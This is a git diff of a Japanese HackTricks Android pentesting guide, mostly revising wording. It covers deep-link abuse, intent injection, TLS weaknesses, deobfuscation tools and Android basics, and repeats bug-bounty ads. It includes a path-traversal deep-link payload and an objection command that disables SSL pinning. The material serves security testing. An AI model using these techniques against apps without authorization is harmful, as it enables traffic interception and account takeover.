**注意**: MobSFは、アクティビティの`android:launchMode`としての_singleTask/singleInstance_の使用を悪意のあるものとして検出しますが、[こちら](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン<21)ではのみ危険です。
|
||||
**注意**: MobSFは、アクティビティの`android:launchMode`としての_singleTask/singleInstance_の使用を悪意のあるものとして検出しますが、[こちら](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン<21)でのみ危険です。
|
||||
|
||||
{% hint style="info" %}
|
||||
注意:認証バイパスは常に脆弱性ではありません。バイパスの動作方法と公開される情報によって異なります。
|
||||
|
@ -389,7 +389,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
|||
[**サービスとは何かを思い出すにはこちらを読んでください。**](android-applications-basics.md#services)\
|
||||
サービスのアクションは、`onStartCommand`メソッドで開始されます。
|
||||
|
||||
サービスは基本的には**データを受け取り**、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、コードを**チェック**して、それが何をしているのかを理解し、機密情報の抽出や認証手段のバイパスなどを**動的に**テストする必要があります。\
|
||||
サービスは基本的には**データを受け取り**、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、コードを**チェック**して、それが何をしているのかを理解し、機密情報の抽出、認証手段のバイパスなどを**動的に**テストする必要があります。\
|
||||
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/#services)
|
||||
|
||||
### **ブロードキャストレシーバの悪用**
|
||||
|
@ -416,7 +416,7 @@ _パッケージ名を省略することができます。モバイルは自動
|
|||
```
|
||||
**実行されるコード**
|
||||
|
||||
アプリで実行される**コードを見つける**には、ディープリンクで呼び出されるアクティビティに移動し、**`onNewIntent`**という関数を検索します。
|
||||
アプリで実行されるコードを見つけるためには、ディープリンクによって呼び出されるアクティビティに移動し、**`onNewIntent`**という関数を検索します。
|
||||
|
||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||
|
||||
|
@ -426,8 +426,8 @@ _パッケージ名を省略することができます。モバイルは自動
|
|||
|
||||
**パス内のパラメータ**
|
||||
|
||||
URLのパス内にパラメータを使用しているディープリンクがあるかどうかも**確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}`のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value`のようにパストラバーサルを強制することができます。\
|
||||
アプリケーション内で正しいエンドポイントを見つけることができれば、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱性のあるエンドポイントが正しいメソッドを使用している場合)などを引き起こすことができます。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
|
||||
URLのパス内にパラメータを使用しているディープリンクがあるかどうかもチェックする必要があります。例えば、`https://api.example.com/v1/users/{username}`のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value`のようにパストラバーサルを強制することができます。\
|
||||
アプリケーション内で正しいエンドポイントを見つけることができれば、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更できる場合)、その他の脆弱性を引き起こす可能性があります。[ここで詳細を確認できます](http://dphoeniixx.com/2020/12/13-2/)。
|
||||
|
||||
**その他の例**
|
||||
|
||||
|
@ -435,11 +435,11 @@ URLのパス内にパラメータを使用しているディープリンクが
|
|||
|
||||
### 不十分なトランスポート層保護
|
||||
|
||||
* **証明書の検査の不足:** Androidアプリケーションは、それに提示された証明書の正当なチェーンを信頼された(ルート)証明書に戻すことができません。ほとんどのアプリケーションは警告を無視し、自己署名証明書を受け入れます。一部のアプリケーションは代わりにトラフィックをHTTP接続経由で送信します。
|
||||
* **弱いハンドシェイクの交渉:** アプリケーションとサーバーはSSL/TLSハンドシェイクを実行しますが、MITM攻撃に対して脆弱な暗号スイートを使用します。したがって、攻撃者はその接続を簡単に復号化できます。
|
||||
* **プライバシー情報の漏洩:** アプリケーションは認証を安全なチャネルを介して行うことが多いですが、その他の接続は非安全なチャネルを介して行われます。これは、セッションクッキーやユーザーデータなどの他の機密データが悪意のあるユーザーによって傍受される可能性があるため、アプリケーションのセキュリティには貢献しません。
|
||||
* **証明書の検査の不足:** Androidアプリケーションは、自己署名証明書を受け取ることができる証明書の正当性を検証しません。多くのアプリケーションは警告を無視し、任意の自己署名証明書を受け入れます。一部のアプリケーションはHTTP接続を介してトラフィックを送信します。
|
||||
* **弱いハンドシェイクの交渉:** アプリケーションとサーバーはSSL/TLSハンドシェイクを実行しますが、MITM攻撃に対して脆弱な暗号スイートを使用します。したがって、攻撃者は簡単にその接続を復号化できます。
|
||||
* **プライバシー情報の漏洩:** 多くの場合、アプリケーションはセキュアなチャネルを介して認証を行いますが、他のすべての接続は非セキュアなチャネルを介して行います。これは、セッションクッキーやユーザーデータなどの他の機密データが悪意のあるユーザーによって傍受される可能性があるため、アプリケーションのセキュリティには貢献しません。
|
||||
|
||||
提示された3つのシナリオから、**証明書の正当性を検証する方法**について説明します。他の2つのシナリオは、サーバーの**TLS設定**とアプリケーションが**暗号化されていないデータを送信**するかどうかに依存します。ペンテスターは、サーバーのTLS設定を自分でチェックし、[こちら](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)で**機密情報が暗号化されていない/脆弱な**チャネルを介して送信されていないかを検出する必要があります。\
|
||||
提示された3つのシナリオから、**証明書の正当性を検証する方法**について説明します。他の2つのシナリオは、サーバーの**TLS設定**とアプリケーションが**暗号化されていないデータを送信**するかどうかに依存します。ペンテスターは、サーバーのTLS設定を自分でチェックし、[ここ](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)で**機密情報が暗号化されていない/脆弱な**チャネルを介して送信されていないかを検出する必要があります。\
|
||||
この種の脆弱性を発見し修正する方法の詳細は、[**こちら**](https://manifestsecurity.com/android-application-security-part-10/)を参照してください。
|
||||
|
||||
**SSLピニング**
|
||||
|
@ -451,9 +451,7 @@ URLのパス内にパラメータを使用しているディープリンクが
|
|||
### HTTPトラフィックの検査
|
||||
|
||||
まず、使用する**プロキシ**ツール(おそらくBurp)の**証明書をインストール**する必要があります。プロキシツールのCA証明書をインストールしない場合、プロキシで暗号化されたトラフィックは表示されません。\
|
||||
**カスタムCA証明書のインストール方法については、[このガイドを読んでください](android-burp-suite-settings.md)**。
|
||||
|
||||
**APIレベル24以上を対象とするアプリケーションの場合、デバイスにBurp CA証明書をインストールするだけでは不十分です**。この新しい保護をバイパスするには、ネットワークセキュリティ構成ファイルを変更する必要があります。したがって、このファイルを変更してCA証明書を承認するか、[**このページを読んでデバイスにインストールされたすべての証明書を再度受け入れるようにアプリケーションを強制する方法についてのチュートリアルを参照してください**](make-apk-accept-ca-certificate.md)。
|
||||
**カスタムCA証明書をインストールする方法については、[このガイドを読んでください](android-burp-suite-settings.md)**。
|
||||
|
||||
**SSLピニング**
|
||||
|
||||
|
@ -461,9 +459,18 @@ URLのパス内にパラメータを使用しているディープリンクが
|
|||
ここでは、この保護をバイパスするために使用したいくつかのオプションを紹介します。
|
||||
|
||||
* [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用して、自動的にapkを変更してSSLピニングをバイパスします。このオプションの最大の利点は、SSLピニングをバイパスするためにルート化が必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
|
||||
* この保護をバイパスするために**Frida**(以下で説明)を使用することもできます。Burp+Frida+Genymotionの使用方法については、[こちらのガイド](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)を参照してください。
|
||||
* [**objection**](frida-tutorial/objection-tutorial.md)を使用して、**自動的にSSLピニングをバイパス**することもできます: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* **MobSFの動的解析**を使用して、**自動的にSSLピニングをバイパス
|
||||
* この保護をバイパスするために**Frida**を使用することもできます(以下で説明します)。Burp+Frida+Genymotionの使用方法については、[こちらのガイド](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)を参照してください。
|
||||
* [**objection**](frida-tutorial/objection-tutorial.md)を使用して、**自動的にSSLピニングをバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* **MobSFの動的解析**を使用して、**自動的にSSLピニングをバイパス**することもできます(以下で説明します)
|
||||
* キャプチャできていないトラフィックがあると思う場合は、**iptablesを使用してトラフィックをBurpに転送**することもできます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
**一般的なWebの脆弱性**
|
||||
|
||||
このステップでは、一般的なWebの脆弱性を探す必要があります。Webの脆弱性に関する多くの情報がこの本に記載されているため、ここでは言及しません。
|
||||
|
||||
### Frida
|
||||
|
||||
開発者、リバースエンジニア、セ
|
||||
### **Androidアプリケーションアナライザー**
|
||||
|
||||
このツールは、動的解析中にさまざまなツールを管理するのに役立ちます:[https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
|
||||
|
@ -471,8 +478,8 @@ URLのパス内にパラメータを使用しているディープリンクが
|
|||
### インテントインジェクション
|
||||
|
||||
この脆弱性は、Webセキュリティの**オープンリダイレクト**に似ています。クラス`Intent`は`Parcelable`であるため、このクラスに属するオブジェクトは、別の`Intent`オブジェクトの**追加データ**として**渡すことができます**。\
|
||||
多くの開発者は、この**機能**を利用して、`startActivity(...)`、`sendBroadcast(...)`などの危険なメソッドに埋め込まれた`Intent`を受け取り、それを渡す**プロキシコンポーネント**(アクティビティ、ブロードキャストレシーバー、サービス)を作成します。\
|
||||
これは危険です。なぜなら、**攻撃者はアプリを強制的に起動させることができる非公開コンポーネントを起動させる**ことができず、または攻撃者にコンテンツプロバイダへのアクセス権限を与えることができるからです。**`WebView`**は、`Intent.parseUri(...)`メソッドを使用して、文字列から`Intent`オブジェクトに**URLを変更**し、それを`startActivity(...)`に渡すこともあります。
|
||||
多くの開発者は、この**機能**を利用して、`startActivity(...)`、`sendBroadcast(...)`などの危険なメソッドに埋め込まれた`Intent`を受け取り、それを**渡す**ための**プロキシコンポーネント**(アクティビティ、ブロードキャストレシーバー、サービス)を作成します。\
|
||||
これは危険です。なぜなら、**攻撃者はアプリを強制的に起動させることができる非公開コンポーネントを起動させる**ことができず、または攻撃者にコンテンツプロバイダへのアクセス権限を与えることができるからです。**`WebView`**は、`Intent.parseUri(...)`メソッドを使用して、**URLを文字列から`Intent`オブジェクトに変更**し、それを`startActivity(...)`に渡すこともあります。
|
||||
|
||||
### Androidクライアントサイドインジェクションとその他
|
||||
|
||||
|
@ -484,12 +491,12 @@ URLのパス内にパラメータを使用しているディープリンクが
|
|||
* **永続的なクッキー:** Androidアプリケーションがセッションを終了する場合、クッキーが取り消されない場合があります。また、クッキーがディスクに保存される場合もあります。
|
||||
* [**クッキーのセキュアフラグ**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
**遅延なしで報奨金を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
**Web3ペントテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは、新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
@ -565,7 +572,7 @@ receivers
|
|||
**HTTPツール**
|
||||
|
||||
HTTPトラフィックがキャプチャされると、キャプチャされたトラフィックの見た目は「**HTTP(S) Traffic**」の下に見えるか、より見やすいビューは「**Start HTTPTools**」の緑のボタンで表示されます。2番目のオプションから、キャプチャされたリクエストをBurpやOwasp ZAPのようなプロキシに**送信**することができます。\
|
||||
そのためには、_Burpを起動 --> Interceptをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
そのためには、_Burpを起動してください --> Interceptをオフにしてください --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押してください --> ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))のようなプロキシアドレスを選択してください。
|
||||
|
||||
MobSFで動的解析を終えたら、「**Start Web API Fuzzer**」を押して、HTTPリクエストを**ファズ**し、脆弱性を探すことができます。
|
||||
|
||||
|
@ -658,7 +665,7 @@ androbugs.exe -f [APK file]
|
|||
|
||||
**Androwarn**は、主な目的はAndroidアプリケーションによって開発された潜在的な悪意のある振る舞いを検出し、ユーザーに警告することです。
|
||||
|
||||
検出は、アプリケーションのDalvikバイトコード(Smali形式)の**静的解析**によって行われます。この解析には、[`androguard`](https://github.com/androguard/androguard)ライブラリが使用されます。
|
||||
検出は、アプリケーションのDalvikバイトコード(Smali形式)の**静的解析**によって行われます。これには、[`androguard`](https://github.com/androguard/androguard)ライブラリが使用されます。
|
||||
|
||||
このツールは、次のような「悪い」アプリケーションの一般的な振る舞いを探します:電話識別子の外部への漏洩、オーディオ/ビデオフローの傍受、PIMデータの変更、任意のコードの実行...
|
||||
```
|
||||
|
@ -683,7 +690,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
マルウェアを検出するのに便利です:[https://koodous.com/](https://koodous.com)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティのホームです。**
|
||||
|
||||
|
@ -696,7 +703,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから収益を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -714,7 +721,7 @@ ProGuardはAndroid SDKの一部として配布され、リリースモードで
|
|||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APKの難読化を解除するためのステップバイステップガイドは[こちら](https://blog.lexfo.fr/dexguard.html)で見つけることができます。
|
||||
APKの難読化を解除するためのステップバイステップガイドは[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)にあります。
|
||||
|
||||
(そのガイドから)最後に確認したとき、Dexguardの動作モードは次のようでした:
|
||||
|
||||
|
@ -728,11 +735,11 @@ APKの難読化を解除するためのステップバイステップガイド
|
|||
|
||||
**DeGuardは、Androidの難読化ツールによって実行された難読化のプロセスを逆転させます。これにより、コードの検査やライブラリの予測など、さまざまなセキュリティ分析が可能になります。**
|
||||
|
||||
難読化されたAPKをプラットフォームにアップロードすることができます。
|
||||
難読化されたAPKをプラットフォームにアップロードできます。
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
これは**汎用のAndroid難読化解除ツール**です。Simplifyはアプリを**仮想的に実行**してその動作を理解し、コードを最適化して同じ動作をするが人間にとって理解しやすいものにします。各最適化タイプはシンプルで汎用的であり、特定の難読化タイプは問題ありません。
|
||||
これは**汎用のAndroid難読化解除ツール**です。Simplifyはアプリを**仮想的に実行**してその動作を理解し、コードを最適化して人間が理解しやすくします。各最適化タイプはシンプルで汎用的であり、特定の難読化タイプは問題ありません。
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -740,13 +747,13 @@ APKiDは、APKの作成方法に関する情報を提供します。多くの**
|
|||
|
||||
### 手動
|
||||
|
||||
[このチュートリアルを読んで、カスタムの難読化を逆向きにするためのトリックを学びましょう](manual-deobfuscation.md)
|
||||
[このチュートリアルを読んで、カスタムの難読化を解除するためのトリックを学びましょう](manual-deobfuscation.md)
|
||||
|
||||
## ラボ
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4bは、ubuntu-mateをベースにしたAndroidセキュリティ仮想マシンであり、さまざまなセキュリティギークや研究者からの最新のフレームワーク、チュートリアル、ラボを含んでいます。逆向きエンジニアリングとマルウェア分析のためのものです。
|
||||
AndroL4bは、ubuntu-mateをベースにしたAndroidセキュリティ仮想マシンであり、さまざまなセキュリティギークや研究者からの最新のフレームワーク、チュートリアル、およびラボを含んでいます。これは逆向きエンジニアリングとマルウェア分析のためのものです。
|
||||
|
||||
### OWASP
|
||||
|
||||
|
@ -759,7 +766,7 @@ AndroL4bは、ubuntu-mateをベースにしたAndroidセキュリティ仮想マ
|
|||
|
||||
## 参考文献
|
||||
|
||||
詳細については、以下を参照してください:
|
||||
詳細については、次を参照してください:
|
||||
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) リソースの素晴らしいリストです
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Androidクイックコース
|
||||
|
@ -770,12 +777,12 @@ AndroL4bは、ubuntu-mateをベースにしたAndroidセキュリティ仮想マ
|
|||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
@ -792,9 +799,9 @@ HackenProofの報奨金は、顧客が報酬予算を入金した後に開始さ
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,21 +6,21 @@
|
|||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
**HackenProofはすべての暗号バグバウンティのホームです。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -38,7 +38,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
|
||||
### UIDの分離
|
||||
|
||||
**各アプリケーションには特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われるため、**アプリは自分のユーザーIDまたは共有ファイルの所有者が所有するファイルとのみやり取りできます**。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーのみがアプリのデータにアクセスできます。
|
||||
**各アプリケーションには、特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われ、**アプリは自分のユーザーIDまたは共有ファイル**が所有するファイルとのみやり取りできます。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーのみがアプリのデータにアクセスできます。
|
||||
|
||||
### UIDの共有
|
||||
|
||||
|
@ -52,8 +52,8 @@ Android 5.0(L)以降、**SELinux**が強制されています。基本的に
|
|||
|
||||
### 権限
|
||||
|
||||
アプリをインストールすると、アプリは**権限が設定された場合に権限を要求**します。権限は、**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求していることを示しています。**uses-permission**要素は、**name**属性内の要求された権限の名前を示します。また、**maxSdkVersion**属性があり、指定したバージョンよりも高いバージョンでは権限を要求しないようにします。\
|
||||
Androidアプリケーションは最初からすべての権限を要求する必要はなく、**動的に権限を要求する**こともできますが、すべての権限は**マニフェストで宣言**する必要があります。
|
||||
アプリをインストールすると、アプリは**権限が設定された場合に権限を要求**します。権限は、**AndroidManifest.xml**ファイルの**`uses-permission`**要素に設定された権限を要求するものです。**uses-permission**要素は、**name**属性内の要求された権限の名前を示します。また、**maxSdkVersion**属性があり、指定したバージョンよりも高いバージョンでは権限を要求しないようにします。\
|
||||
Androidアプリケーションは最初からすべての権限を要求する必要はなく、**動的に権限を要求する**こともできますが、すべての権限は**マニフェストに宣言**されている必要があります。
|
||||
|
||||
アプリが機能を公開する場合、**指定された権限を持つアプリのみがアクセスできるように制限**することができます。\
|
||||
権限要素には3つの属性があります:
|
||||
|
@ -62,9 +62,9 @@ Androidアプリケーションは最初からすべての権限を要求する
|
|||
* 関連する権限をグループ化するための**permission-group**属性
|
||||
* 権限がどのように付与されるかを示す**protection-level**。4つのタイプがあります:
|
||||
* **Normal**:アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認する必要はありません**。
|
||||
* **Dangerous**:権限が要求するアプリケーションに**特権アクセス**を与えます。**ユーザーに承認を要求します**。
|
||||
* **Signature**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**のみが権限を付与されることができます。これは最も強力な保護のタイプです。
|
||||
* **SignatureOrSystem**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されるアプリ**のみが権限を付与されることができます。
|
||||
* **Dangerous**:要求するアプリケーションに**特権アクセス**を付与する権限です。**ユーザーに承認を要求します**。
|
||||
* **Signature**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**のみが権限を付与できます。これは最も強力な保護のタイプです。
|
||||
* **SignatureOrSystem**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されるアプリ**のみが権限を付与できます。
|
||||
|
||||
## 事前インストールされたアプリケーション
|
||||
|
||||
|
@ -105,20 +105,20 @@ suバイナリが設定されると、別のAndroidアプリが`su`バイナリ
|
|||
* APKの内容(完全ではありません)
|
||||
* **AndroidManifest.xml**
|
||||
* resources.arsc/strings.xml
|
||||
* resources.arsc:バイナリXMLなどの、事前にコンパイルされたリソースを含むファイルです。
|
||||
* resources.arsc:バイナリXMLなどの、事前にコンパイルされたリソースを含むファイル。
|
||||
* res/xml/files\_paths.xml
|
||||
* META-INF/
|
||||
* 証明書がここにあります!
|
||||
* **classes.dex**
|
||||
* アプリケーションがデフォルトで実行するJava(またはKotlin)コードのDalvikバイトコードです。
|
||||
* アプリケーションがデフォルトで実行するJava(またはKotlin)コードのDalvikバイトコード。これは、Javaコードがコンパイルされて生成されるものです。
|
||||
* lib/
|
||||
* アプリケーションのネイティブライブラリは、デフォルトではここにあります! lib/ディレクトリの下に、cpu固有のディレクトリがあります。
|
||||
* `armeabi`:すべてのARMベースのプロセッサのコンパイル済みコードのみ
|
||||
* `armeabi-v7a`:すべてのARMv7およびそれ以上のベースのプロセッサのコンパイル済みコードのみ
|
||||
* `armeabi-v7a`:すべてのARMv7およびそれ以上のプロセッサのコンパイル済みコードのみ
|
||||
* `x86`:X86のコンパイル済みコード
|
||||
* `mips`:MIPSプロセッサのコンパイル済みコードのみ
|
||||
* assets/
|
||||
* アプリが必要とする他のファイルが含まれる場所です。
|
||||
* アプリが必要とする他のファイル。
|
||||
* ここには、追加のネイティブライブラリやDEXファイルが含まれる場合があります。これは、マルウェアの作成者が追加のコード(ネイティブまたはDalvik)を「隠す」ために、デフォルトの場所に含めない場合に特に発生します。
|
||||
* res/
|
||||
* resources.arscにコンパイルされていないリソースを含むディレクトリ
|
||||
|
@ -126,16 +126,16 @@ suバイナリが設定されると、別のAndroidアプリが`su`バイナリ
|
|||
### **Dalvik & Smali**
|
||||
|
||||
ほとんどのAndroidアプリケーションはJavaで書かれています。Kotlinもサポートされており、Javaとの相互運用が可能です。このワークショップの残りの部分では、私が「Java」と言及するときは「JavaまたはKotlin」という意味だと思ってください。デスクトップアプリケーションのようにJavaコードがJava仮想マシン(JVM)で実行されるのではなく、AndroidではJavaは\_Dalvik Executable(DEX)バイトコード\_\*\*形式にコンパイルされます\*\*。Androidの以前のバージョンでは、バイトコードはDalvik仮想マシンによって変換されました。最近のAndroidのバージョンでは、Androidランタイム(ART)が使用されています。\
|
||||
開発者がJavaで書き、コードがDEXバイトコードにコンパイルされる場合、リバースエンジニアリングでは逆の方向で作業します。\
|
||||
